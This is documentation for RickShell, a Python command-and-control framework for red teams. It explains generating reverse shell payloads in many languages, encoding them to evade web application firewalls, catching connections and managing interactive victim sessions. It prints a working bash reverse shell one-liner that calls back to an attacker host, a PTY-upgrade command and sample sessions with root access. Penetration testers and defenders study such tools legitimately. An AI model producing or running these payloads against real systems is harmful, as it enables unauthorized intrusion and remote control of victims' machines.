RickShell Documentation

Advanced Modular C2 Framework — Red Team Edition

Legal Disclaimer: RickShell is intended exclusively for authorized penetration testing, red team engagements, and educational purposes. Using this tool against systems you do not own or have explicit written permission to test is illegal. The authors accept no responsibility for misuse.

---

Table of Contents

1. Overview
2. Project Structure
3. Installation
4. Launching RickShell
5. Command Reference
   • show
   • set
   • generate
   • listen
   • sessions
   • interact
   • background
   • exit
6. Payload Reference
7. Encoder Reference
8. Full Attack Walkthrough
9. Tips & Best Practices

---

1. Overview

RickShell is a terminal-based Command & Control (C2) framework written in Python 3. It is designed for red team operators and penetration testers who need a fast, modular tool for generating reverse shell payloads, catching connections, and managing interactive sessions.

Core capabilities:

• Generate reverse shell payloads for 9 languages and 31 variants
• Apply WAF-evasion encoders (Base64, Hex, URL, Octal, PowerShell Base64)
• Start a background TCP listener that catches incoming connections
• Manage multiple simultaneous sessions from a single interface
• Interact with victim shells in real time with a full PTY experience (arrow keys, tab completion, cd persistence)

---

2. Project Structure

RickShell/
├── rickshell.py            # Entry point
├── setup.sh                # Installer script
├── core/
│   ├── listener.py         # Threaded TCP listener
│   ├── session_manager.py  # Tracks active sessions
│   └── utils.py            # Network interface detection, port utilities
├── interface/
│   ├── console.py          # Interactive CLI
│   └── colors.py           # ANSI color helpers
└── modules/
    ├── builder.py          # Payload configuration and generation logic
    ├── payloads.py         # Raw payload database (31 variants)
    └── encoders.py         # Encoding and shell-aware wrapping

---

3. Installation

Prerequisites

| Requirement | Version | |-------------|----------| | Python | 3.8+ | | pip3 | Any | | psutil | Any | | OS | Linux |

Automatic Installation (Recommended)

Run the installer script from the RickShell directory. It will check and install all dependencies, copy files to /opt/RickShell, and create a system-wide rickshell command.

chmod +x setup.sh
./setup.sh

After installation completes, you can launch RickShell from anywhere:

rickshell

Manual Installation

If you prefer not to use the installer:

pip3 install psutil --break-system-packages
python3 rickshell.py

---

4. Launching RickShell

rickshell
# or if running manually from the project folder:
python3 rickshell.py

On launch you will see the banner and be dropped into the interactive prompt:

  ______  _      _     _____ _          _ _
  | ___ \(_)    | |   /  ___| |        | | |
  | |_/ / _  ___| | __\ `--.| |__   ___| | |
  |    / | |/ __| |/ / `--. \ '_ \ / _ \ | |
  | |\ \ | | (__|   </\__/ / | | |  __/ | |
  \_| \_|_|\___|_|\_\\____/|_| |_|\___|_|_|

  Advanced Modular C2 Framework | Red Team Edition
  Type 'help' for available commands.

RickShell >

RickShell automatically detects your network interfaces and selects a free port, so you can run generate immediately without any manual configuration.

---

5. Command Reference

---

show

Displays information about options, interfaces, payloads, or encoders.

Syntax:

show [options | interfaces | payloads | encoders]

---

show options

Displays the current payload configuration.

RickShell > show options

Option                  Value
----------------------  ----------------------
LHOST                   192.168.0.7
LPORT                   4444
INTERFACE               eth0
PAYLOAD                 bash_tcp
ENCODER                 none

| Option | Description | |-----------|------------------------------------------------------------------| | LHOST | Your attacker IP address. Embedded in the generated payload. | | LPORT | The port the listener will bind to. | | INTERFACE | Network interface used to auto-resolve LHOST. | | PAYLOAD | The selected payload type. See Payload Reference. | | ENCODER | Encoding applied to the payload. See Encoder Reference. |

---

show interfaces

Lists all detected network interfaces and their IPv4 addresses.

RickShell > show interfaces

Interface               IPv4 Address
----------------------  ----------------------
eth0                    192.168.0.7
tun0                    10.10.14.5
lo                      127.0.0.1

Tip: For VPN-based engagements (e.g. HackTheBox, TryHackMe), set your interface to tun0 to use the VPN IP.

---

show payloads

Lists all available payload keys grouped by language.

RickShell > show payloads

  [PYTHON]
    python_socket
    python_subprocess
    python_thread
    python_ipv6

  [BASH]
    bash_tcp
    bash_tcp_nohup
    bash_udp
    bash_196
    bash_5
    bash_readline
  ...

---

show encoders

Lists all available encoders with descriptions.

RickShell > show encoders

Encoder             Description
------------------  ----------------------------------
none                No encoding, raw payload
base64              Base64 + shell-aware wrapper
hex                 Hex encoding + decode wrapper
url                 URL encoding + python exec wrapper
octal               Octal escape + echo -e | bash
ps_base64           UTF-16LE Base64 for PowerShell -Enc

---

set

Sets a configuration option. Supports automatic typo correction.

Syntax:

set <OPTION> <VALUE>

Setting LHOST

Set your attacker IP address manually:

RickShell > set LHOST 10.10.14.5
[+] LHOST => 10.10.14.5

Setting LHOST via Interface

Let RickShell resolve the IP from your interface name:

RickShell > set INTERFACE tun0
[+] INTERFACE => tun0

This automatically sets LHOST to the IP assigned to tun0.

Setting LPORT

RickShell > set LPORT 4444
[+] LPORT => 4444

Valid range: 1–65535. If not set, RickShell picks a random free port automatically.

Setting the Payload

RickShell > set PAYLOAD python_socket
[+] PAYLOAD => python_socket

Use show payloads to see all valid payload keys.

Setting the Encoder

RickShell > set ENCODER base64
[+] ENCODER => base64

Use show encoders to see all valid encoder names.

Typo Correction

RickShell automatically corrects close typos using fuzzy matching:

RickShell > set enocder base64
[~] Auto-corrected 'enocder' -> 'encoder'
[+] ENCODER => base64

RickShell > set lhsot 10.10.14.5
[~] Auto-corrected 'lhsot' -> 'lhost'
[+] LHOST => 10.10.14.5

---

generate

Generates the final payload string using the current configuration and prints it to the screen. Prompts you to start a listener immediately.

RickShell > generate

[+] Generated Payload:

  bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

[?] Start listener on port 4444? (y/n):

• The payload is ready to copy and execute on the target machine.
• Answer y to start the listener without returning to the prompt.
• Answer n to copy the payload and start the listener manually later with listen.

---

listen

Starts the TCP listener manually in the background without generating a payload.

RickShell > listen

[*] Listener started — binding 0.0.0.0:4444, payload LHOST: 10.10.14.5
    Waiting for incoming connections...

• The listener always binds to 0.0.0.0 (all interfaces) so it catches connections regardless of which interface the target routes through.
• It runs as a background thread — you can keep using the RickShell prompt while it waits.
• When a connection arrives, you are notified automatically:

RickShell >
[+] New connection from 10.10.10.100:51234 — Session ID: 0

---

sessions

Lists all currently active sessions.

RickShell > sessions

ID                  IP Address          Port
------------------  ------------------  ------------------
0                   10.10.10.100        51234
1                   10.10.10.101        39104

| Column | Description | |------------|----------------------------------------------| | ID | Session number used with the interact command | | IP Address | The remote host's IP address | | Port | The remote host's source port |

---

interact

Enters a fully interactive shell session with the specified session ID.

Syntax:

interact <session_id>

Example:

RickShell > interact 0

[*] Entering session 0 (10.10.10.100:51234)
    Ctrl+C to background session.

┌──(root㉿target)-[~]
└─# id
uid=0(root) gid=0(root) groups=0(root)

┌──(root㉿target)-[~]
└─# whoami
root

What happens when you interact

When you first connect to a session, RickShell automatically performs a PTY upgrade on the victim shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This upgrades the raw socket into a full pseudo-terminal, enabling:

| Feature | Without PTY | With PTY | |---------|------------|---------| | Arrow keys | ✘ | ✔ | | Tab completion | ✘ | ✔ | | cd persistence | ✘ | ✔ | | nano / vim | ✘ | ✔ | | sudo prompts | ✘ | ✔ | | Ctrl+C in victim | Kills session |